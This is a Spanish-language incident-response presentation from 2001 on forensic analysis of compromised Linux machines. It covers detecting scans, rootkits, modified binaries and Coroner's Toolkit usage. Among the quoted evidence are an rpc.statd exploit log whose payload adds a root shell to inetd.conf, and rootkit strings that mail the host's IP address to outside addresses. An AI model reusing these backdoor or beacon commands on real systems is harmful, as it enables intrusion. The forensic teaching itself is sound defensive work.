Incidentes de seguridad

Francisco Jesús Monserrat Coll
<francisco.monserrat@rediris.es>

16 de noviembre de 2001

Introducción

Linux es un S.O. seguro, robusto, etc, pero:

- Requiere una administración correcta

Sin una administración correcta: Los Ataques tienen Éxito

Guia de la presentación

- Un incidente de seguridad típico
- Análisis del ataque
- Coroner's toolkit

Incidentes de seguridad

Los incidentes de seguridad graves suelen seguir la secuencia:

1. Se produce un ataque a una máquina mal administrada
2. Desde esa máquina se ataca a otras máquinas
3. Llega un aviso (desde el exterior de los ataques) o bien el administrador "descubre" que su máquina ha sido atacada.
4. El administrador procede a solucionar los problemas que ha encontrado y volver a dejar el equipo operativo
5. Si es posible se avisa a los responsables de la institución origen del ataque

Un ataque típico

1. Se realizan escaneos para detectar vulnerabilidades en equipos
2. Mediante un exploit el atacante consigue acceso con privilegios del administrador al equipo.
3. El atacante borra los logs que muestren sus conexiones.
4. Se instalan puertas falsas y troyanos para ocultar el ataque.
5. Se ataca a otros equipos

Escaneos

- Objetivo: Buscar equipos que tengan instalado algún servicio vulnerable.

- Empleo de scripts "automatizados":

  1. Generar "direcciones aleatorias"
  2. Escanear este rango de direcciones IP
  3. Ejecutar el ataque contra las direcciones detectadas

- Escaneos silenciosos

Ejemplo escaneos

```
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.22:21 SYNFIN ******SF
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.30:21 SYNFIN ******SF
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.28:21 SYNFIN ******SF
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.29:21 SYNFIN ******SF
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.37:21 SYNFIN ******SF
Sep 21 13:33:23 211.xx.xx.xx:21 -> yy.yy.yy.43:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.49:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.55:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.56:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.59:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.65:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.71:21 SYNFIN ******SF
Sep 21 13:33:24 211.xx.xx.xx:21 -> yy.yy.yy.77:21 SYNFIN ******SF
```

Escaneo al puerto 21(FTP) desde un equipo, detectado por un IDS

rootkit

Conjunto de programas instalados por los atacantes:

- Sustitución de programas del S.O. para que no muestren determinada actividad.
- Instalación de programas que permiten el acceso posterior al equipo

Últimamente han aparecido rootkit como módulos del núcleo del Sistema Operativo, lo que permite ocultar por completo la actividad del equipo

Pasos en la recuperación del incidente

- Evitar que el equipo siga siendo utilizado por el atacante
- Realizar una copia a bajo nivel de los datos
- Recoger y analizar la información sobre el ataque
- Restaurar el sistema y aplicar medidas de seguridad
- Contactar con los responsables de los equipos implicados

Emplear el comando “script” para ir guardando la información de los comandos y acciones ejecutados

Copia de Datos

- Permite analizar el estado del sistema en el momento del ataque
- En caso de que exista alguna “bomba lógica” es posible recuperar los datos
- Si se descubren evidencias de la identidad del atacante es más fácil presentarlas como pruebas
- Emplear comandos a bajo nivel para duplicación (las utilidades del backup modifican los datos). dd es muy útil en estos casos

Copias por la red

Empleando el comando nc (u otros) es posible transferir los ficheros por la red:

```
dd if = /dev/hdXy of =-  | nc equipo puerto
```

y en el equipo remoto:

```
nc -L puerto > fichero
```

Repetir esta operación con cada una de las particiones del equipo. Es posible emplear otros comandos ls como “ncftpput”

para transferir los ficheros por la red.

Copia de datos: Otras posibilidades

- Almacenamiento de datos en una partición no usada (ej. windows)
- Copia en cinta de backup.
- Copias en CDROM.

siempre que se quiera realizar un análisis serio se debe emplear la copia

Sin Copia de los datos

- Solo se quiere analizar el ataque ligeramente
- No se dispone de medios para emplear un duplicado
- **NO** se busca pruebas judiciales
- No hay otra forma de analizar los datos

Se puede emplear el mismo equipo, aunque

- Se borraran pruebas
- Lo que se averigüe no tendrá ningún valor legal

Análisis de un ataque

Una vez que se dispone las particiones copiadas se deben montar en la máquina de análisis, recreando el sistema de ficheros:

```
mount -o  ro,loop,nodev,noexec /ataque/hda1 /t/
mount -o  ro,loop,nodev,noexec /ataque/hda2 /t/var
mount -o  ro,loop,nodev,noexec /ataque/hda3 /t/usr
```

De esta forma en caso de error es posible volver a analizar los datos.

Buscar información sobre el ataque I

Para buscar programas modificados:

- Idealmente: Tripwire instalado y base de datos externa, análisis a realizar en otro equipo "limpio".
- Muchas veces: Mismo equipo (problema: rootkit en el núcleo), pero tenemos la base de datos de paquetes instalados.
  - En RedHat rpm -Va
  - En Debian debsums -l -s
  - En Solaris pkgchk -v
- Otras opciones: Comparación con binarios de la instalación original o con los binarios de otros equipos no atacados
- IMPORTANTE: Los comandos del S.O. pueden haber sido modificados, es conveniente utilizar binarios compilados estáticamente, o de un equipo "limpio".

Buscar información sobre el ataque II

```
 rpm -V -a --root=/analisis | grep "\.5"
S.5....T c /etc/services
S.5....T c /etc/localtime
S.5....T   /bin/netstat
S.5....T   /sbin/ifconfig
S.5....T c /etc/pam.d/passwd
SM5....T   /bin/ps
SM5....T   /usr/bin/top
S.5....T c /etc/pam.d/rlogin
S.5....T c /etc/inetd.conf
S.5....T c /etc/rc.d/rc.sysinit
```

Listado de binarios modificados en un equipo atacado

Buscar información sobre el ataque III

Los atacantes suelen instalar programas en directorios ocultos, buscar:

- Directorios de configuración de usuario ".prog" demasiado grandes
- Directorios y ficheros ASCII en "/dev"
- Directorios con nombres extraños "...", " ..",
- Ficheros transferidos por ftp
- Ficheros con permisos de setuid y setguid

el comando find es tu amigo (si no es un troyano ;-)

```
find / -name ‘‘.. ‘‘ -print
```

```
find / -ctime 15 -print
```

Buscar información sobre el ataque IV

Buscar información en los ficheros de log, depende de la configuración de cada S.O. y de como este configurado el syslog (/etc/syslogd.conf), buscar:

- En los ficheros de messages "/var/log/messages", "/var/adm/messages"
- En los ficheros de accesos "wtmpx", "utmpx"
- En los mensajes del núcleo (puesta en marcha de la tarjeta en modo "promiscuo")
- Emplear coroner toolkit para buscar ficheros borrados
- Modificaciones en los ficheros de configuración, nuevos usuarios, etc.
- Ver ficheros de comandos ejecutados por los usuarios ".bash_history"

Logs I

```
Jan  6 10:50:22 equipo rpc.statd[362]: gethostbyname error for
^X<F7><FF><BF>^X<F7><FF><BF>^Y<F7><FF><BF>^Y<F7><FF><BF>^Z<F7>
<FF><BF>^Z<F7><FF><BF>^[<F7><FF><BF>^[<F7><FF><BF>bffff750
 8049710 8052c20687465676274736f6d616e797265206520726f7220726f66
....
’<88>F*<83><C6> <88>F<AB><89>F<B8><B0>+, <89><F3><8D>N<AC><8\
D>V<B8><CD><80>1<DB><89><D8>@<CD><80><E8><B0><FF><FF><FF>/bi\
n/sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >> /e\
tc/inetd.conf;killall -HUP inetd
```

Ataque contra el servicio rpc.statd en un equipo Linux

Logs II

Algunas veces, aunque los log de acceso se borren quedan otras huellas:

```
May 12 21:16:15 equipo inetd[491]: auth/tcp: bind: Address
 already in use
May 12 21:17:48 equipo kernel: netsniff uses obsolete
 (PF_INET,SOCK_PACKET)
May 12 21:17:48 equipo kernel: device eth0 entered promiscuous
 mode
May 12 21:26:15 equipo inetd[491]: auth/tcp: bind: Address
 already in use
```

Rastros de instalación de un sniffer en el equipo

Logs III

```
May 12 21:17:48 equipo identd[23351]: Successful lookup:
 8300 , 21 : root.root
May 12 21:17:48 equipo identd[23368]: from: 194.87.13.99
( 194.87.13.99 ) for: 8462, 21
May 12 21:17:53 equipo identd[23368]: Successful lookup:
8462 , 21 : root.root
May 12 21:17:53 equipo identd[23369]: from: 194.87.13.101
( 194.87.13.101 ) for: 8464, 21
May 12 21:17:57 equipo identd[23369]: Successful lookup:
 8464 , 21 : root.root
May 12 21:17:58 equipo identd[23370]: from: 194.87.13.102
( 194.87.13.102 ) for: 8465, 21
May 12 21:18:02 equipo identd[23370]: Successful lookup:
8465 , 21 : root.root
May 12 21:18:02 equipo identd[23367]: from: 194.87.13.100
( 194.87.13.100 ) for:
```

El equipo esta realizando un escaneo al puerto 21 de otros servidores, después de que el atacante haya instalado un programa de escaneo

Análisis de binarios I

Una vez que se sabe que programas ha instalado el atacante, se debe proceder a analizarlos para:

- Ver que hacen estos programas
- Intentar averiguar las acciones del atacante
- Buscar información sobre otros programas que haya podido instalar

Análisis de Binarios II

Búsqueda de cadenas:

- Ejecución del comando “strings” sobre los binarios encontrados

Permite:

- Averiguar rutas de ficheros
- Direcciones de correo y comandos que se pueden ejecutar

No es un método muy fiable porque se puede ocultar la información fácilmente

Búsqueda de cadenas III

```
$strings  ls | grep "/"
.....
/lib/ld-linux.so.1
>/tKj/
/usr/local/share/locale
/usr/man/man3/man3/lib/.lib/.1file
//DIRED//
//SUBDIRED//
/usr/local/share/locale
/usr/local/share/locale:.
/locale.alias
.....
```

Cadenas del comando “ls” de un rootkit

Busquedas de cadenas IV

```
.....
/usr/lib/.ark?
echo "SUBJECT: ‘/sbin/ifconfig eth0 | grep ’inet addr’ |
awk ’{print $2}’ | sed -e ’s/.*://’‘" | /usr/lib/sendmail
tuiqoitu039t09q3@bigfoot.com
echo "SUBJECT: ‘/sbin/ifconfig eth0 | grep ’inet addr’ |
awk ’{print $2}’ | sed-e ’s/.*://’‘" | /usr/lib/sendmail
bnadfjg9023@hotmail.com
.....
/dev/ptyxx/.file
capi20.20
.ark?
ptyxx
.....
Try ‘%s --help’ for more information.
Usage: %s [OPTION]... [FILE]...
List information about the FILEs (the current directory
 by default).
```

Búsqueda de cadenas V

Buscar en los binarios para:

- Búsqueda de ficheros y directorios de configuración
- Direcciones de correo.
- Comparación con binarios de la misma distribución
- Buscar en Internet información sobre estos binarios

Control de la ejecución I

Ejecutar el programa, dentro de un entorno protegido, empleando una herramienta de monitorización de llamadas, (strace, truss,etc).

- Emplear equipo "sacrificable" desconectado de la red
- Misma versión del S.O. y distribución.
- Emplear máquinas virtuales: vmware o bochs
- Requiere conocer que entradas recibe el programa

Se obtienen las llamadas al sistema ejecutadas por el programa, así como sus argumentos

Control ejecución II

Ejemplo:

```
$ strace netstat
execve("./netstat", ["./netstat"], [/* 27 vars */]) = 0
brk(0)                                  = 0x8057980
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|
MAP_ANONYMOUS,  -1, 0) = 0x126000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such
file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
...
open("/usr/lib/locale/ro_RO/uboot/etc/netstatrc", O_RDONLY) = 1
.....
octl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
write(1, "Active Internet connections (w/o"..., 42) = 42
write(1, "Proto Recv-Q Send-Q Local Addres"..., 80) = 80
open("/proc/net/tcp", O_RDONLY)         = 3
....
```

Lectura de un fichero en una ruta extraña

Desensamblado de los binarios

Desensamsablado del código

- Muy complejo y costoso en tiempo
- Solo util para binarios pequeños
- Es muy fácil complicar el desensamblado

Permite analizar que es lo que realiza en concreto el programa

Ejemplo desensamblado

```
Exported fn(): main
:080484d0 55                          pus  ebp
:080484d3 83ec04                      su   esp, 4
* Possible StringData Ref from Code Obj ->"DISPLAY"
:080484d6 68c0850408                  pus  80485c0
* Reference To: GLIBC_2.0::getenv
:080484db e8e0feffff                  call 080483c0
...
* Possible StringData Ref from Code Obj ->"/dev/lg0"
                                      |
:080484f4 68c8850408                  pus  80485c8
....
* Possible StringData Ref from Code Obj ->"da"
:08048518 68d1850408                  pus  80485d1
* Reference To: GLIBC_2.0::strcmp
:08048521 e87afeffff                  call 080483a0
....
* Possible StringData Ref from Code Obj ->"/bin/sh"
                                      |
:0804852f 68d4850408                  pus  80485d4
* Reference To: GLIBC_2.0::system
                                      |
:08048534 e8a7feffff                  call 080483e0
```

The Coroner toolkit

- Conjunto de herramientas de dominio publico para analizar un sistema.
- Realizado por Dan Farmer y Wietse Venema
- Disponible en http://www.porcupine.org o http://www.fish.com
- Solamente funciona en Unix
- No analiza los datos, solamente obtiene, información relevante para el análisis
- Incorpora un recuperador de ficheros borrados (lazarus) para cualquier Unix.
- Permite analizar los procesos en ejecución.

TCT: Herramientas

- grave_robber, recolecta información sobre el equipo, incluyendo los tiempos MAC de cada fichero
- ils, icat: Permiten el listado y copia de ficheros a nivel de nodos-i.
- unrm y lazarus: Recuperan información borrado del disco duro, clasificandola en función del tipo de fichero
- mactime: emplea la información recogida por grave_robber para listar los tiempos de acceso a los ficheros

TCT: grave_robber

Procedimiento inicial de recolección de información:

- información de cada fichero instalado en el equipo, MAC, MD5, ruta, bloques que ocupa,etc.
- Salida de los comandos de información del sistema (netstat, ps,etc)
- Volcado (core) de los procesos en ejecución en el equipo
- Referencia a los nodos-i y ficheros empleados por programas en ejecución que están borrados

TCT: mactime

```
Nov 06 00 01:00:41 4096 mac -rw-r--r-- root root
/t/var/run/ftp.pids-all
Nov 06 00 02:02:00 1024 m.c drwxr-xr-x root root
/t/var/lib
                   1024 m.c drwxr-xr-x root root
/t/var/spool/anacron
Nov 06 00 02:02:03 4096 m.c drwxr-xr-x root root
/t/usr/X11R6/man
                   4096 m.c drwxr-xr-x root root
/t/usr/lib/perl5/man
                   4096 m.c drwxr-xr-x root root
/t/usr/local/man
Nov 07 00 02:02:03 238767 .a. -rw-r----- root slocate
<imagen.hda7.dd-dead-4040>
```

TCT: mactime. evidencias

```
Nov 08 00 06:52:10 4096 mac drwxr-xr-x root root
/t/usr/man/.Ci/backup
                   42736 mac -rwxr-xr-x root root
/t/usr/man/.Ci/backup/ifconfig
                   43024 mac -rwxr-xr-x root root
/t/usr/man/.Ci/backup/ls
                   66736 mac -rwxr-xr-x root root
/t/usr/man/.Ci/backup/netstat
                   60080 mac -r-xr-xr-x root root
/t/usr/man/.Ci/backup/ps
                   23568 mac -rwxr-xr-x root root
/t/usr/man/.Ci/back
```

TCT: icat. recuperacion de ficheros

Mediante icat se pueden recuperar los ficheros borrados:

```
# icat honeypot.hda8.dd 8133 > foo
# file foo
foo: GNU tar archive
# tar -tvf foo
drwx------ toro/users        0 2000-10-01 19:27:29  /
drwx------ toro/users        0 2000-10-01 19:30:21  /src/
-rw------- toro/users     4178 2000-03-24 16:19:32  /src/Makefile
-rw------- toro/users    52345 2000-06-03 23:06:04  /src/chan.c
-rw------- toro/users     4860 2000-03-24 16:19:32  /src/chan.h
```

Recuperación de un fichero tar con los programas instalados por el atacante

TCT: unrm y lazarus

- Automatizan la recuperación de ficheros de una partición
- Generan una página HTML con todos los sectores recuperados, indicando el tipo de fichero
- Es necesario bastante espacio en HD para poder almacenar ls información
- Se pueden emplear para borrados accidentales del sistema

¿Qué hacer con toda esta información?

- Reinstalar y configurar el sistema correctamente
- Contactar con:
  - Usuarios del equipo.
  - Administradores de nuestra red
  - Responsables de los equipos origen del ataque

¿ Preguntas ?